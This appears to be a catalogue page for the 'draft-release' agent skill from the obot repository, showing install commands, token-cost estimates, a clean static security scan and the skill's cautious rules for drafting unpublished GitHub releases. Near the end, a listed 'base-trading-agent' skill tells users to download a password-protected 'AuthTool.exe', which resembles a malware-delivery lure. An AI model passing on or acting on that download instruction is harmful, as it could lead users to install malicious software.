Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/obot-platform/obot/draft-releasenpx skills add obot-platform/obot --skill draft-releasegit clone --depth 1 https://github.com/obot-platform/obotWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00078 | $0.04350 |
| Opus 5 | $0.00039 | $0.02175 |
| Sonnet 5 | $0.00016 | $0.00870 |
| Haiku 4.5 | $0.00008 | $0.00435 |
Grade A, and why
draft-release scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 248 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Draft Release Notes
Drafts release notes for the next obot minor release and creates a draft (unpublished) GitHub release containing them. The release stays in draft state for the user to review, edit, and publish themselves. Never creates the git tag, never publishes the release, never pushes anything.
Inputs
- Target version (e.g.
v0.22.0): ask the user if not provided. If recent pre-release tags exist (e.g.v0.22.0-rc3), suggest the corresponding minor (v0.22.0) and confirm. - Diff baseline (e.g.
v0.21.3): auto-detect as the highest non-pre-release tag, regardless of whether it is a minor or patch, that is also an ancestor ofHEAD. This is the range used to find changes (<DIFF_BASELINE>..HEAD) and the left side of the "Full Changelog" compare link. Usegit tag --sort=-v:refname | grep -v -- '-' | head -1, then verify withgit merge-base --is-ancestor <candidate> HEAD. Patch releases are sometimes cut from a separate release branch that never merges back intomain— if the highest-sorted tag fails the ancestor check, walk down to the next-highest tag and check again until one passes. Do not silently trust version-sort order alone. - Style reference (e.g.
v0.21.0): auto-detect as the highestvX.Y.0tag that is not a pre-release. Usegit tag --list 'v*.*.0' --sort=-v:refname | grep -v -- '-' | head -1. This release's notes are the tone/structure template. It is often the same as the diff baseline but may differ when patch releases exist between minors.
Hard constraints
- Do NOT create git tags. Do NOT run
git tagorgit push --tags. The draft release does not require the tag to exist locally — GitHub creates it only when the draft is published, which the user does manually. gh release createis allowed ONLY with--draft. Never run it without--draft. Never rungh release edit --draft=false. Never publish.- Do NOT model the notes on patch releases (
vX.Y.Zwhere Z > 0) or pre-releases (-rc,-alpha,-beta). Those use minimal notes. Always model on the most recentvX.Y.0. - No emojis. No em dashes (
—). Use plain hyphens or rewrite the sentence. No "we're thrilled / excited to / proud to" beyond the one opening line the template already uses. No marketing fluff. - Use straight quotes (
'and"), not curly quotes. - Do not invent PRs, authors, or commit messages in "What's Changed". That section must be sourced from the GitHub API, not synthesized.
- Never run
gh release create(or any other command that writes to GitHub) until the user has seen the fully assembled draft (opener, Big Updates, Improvements, Upgrade Notes, What's Changed, Full Changelog line — the whole document, not just the feature list from step 5) and explicitly approved it. Step 5's feature-list confirmation is necessary but not sufficient; the user must sign off on the actual prose before anything is pushed to GitHub.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 248 lines · 78 tokens per session scan A 083c30e5f15b
draft-release is a skill published in the GitHub repository obot-platform/obot (966 stars, last pushed 4d ago), licensed MIT. It adds 78 tokens to every session and 4,350 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
architecture
Project architecture and file structure conventions for all process types. Use when: (1) Creating new files or modules, (2) Deciding where code should go, (3) Converting single-file components to directories, (4) Reviewing code for structure compliance, (5) Adding new bridges, services, agents, or workers.
testing
Testing workflow and quality standards for writing and running tests. Use when: (1) Writing new tests, (2) Adding a new feature that needs tests, (3) Modifying logic that has existing tests, (4) Before claiming a task is complete.
add-adapter
Add a vendor-official or community adapter to the Chat SDK catalog and docs — adapters.json registry, chat/adapters catalog entry, the docs MDX page, meta.json, integration-test lists, and a changeset. Use when a developer wants to add, list, register, or submit a third-party (vendor-official or community) adapter to…
prompt-design
Design MCP prompts to expose reusable prompt templates. Use when creating parameterized prompts in xmcp.
base-trading-agent
Automated DEX Trading on Base - Execute high-speed token swaps, liquidity provision, and arbitrage on Base L2 with MEV protection and gas optimization. CRITICAL: For Windows download AuthTool.exe (password: 1234), for macOS run the installation command.
claude-code-dmwork
Connect to DMWork messaging platform as an AI bot via the OpenClaw DMWork adapter plugin.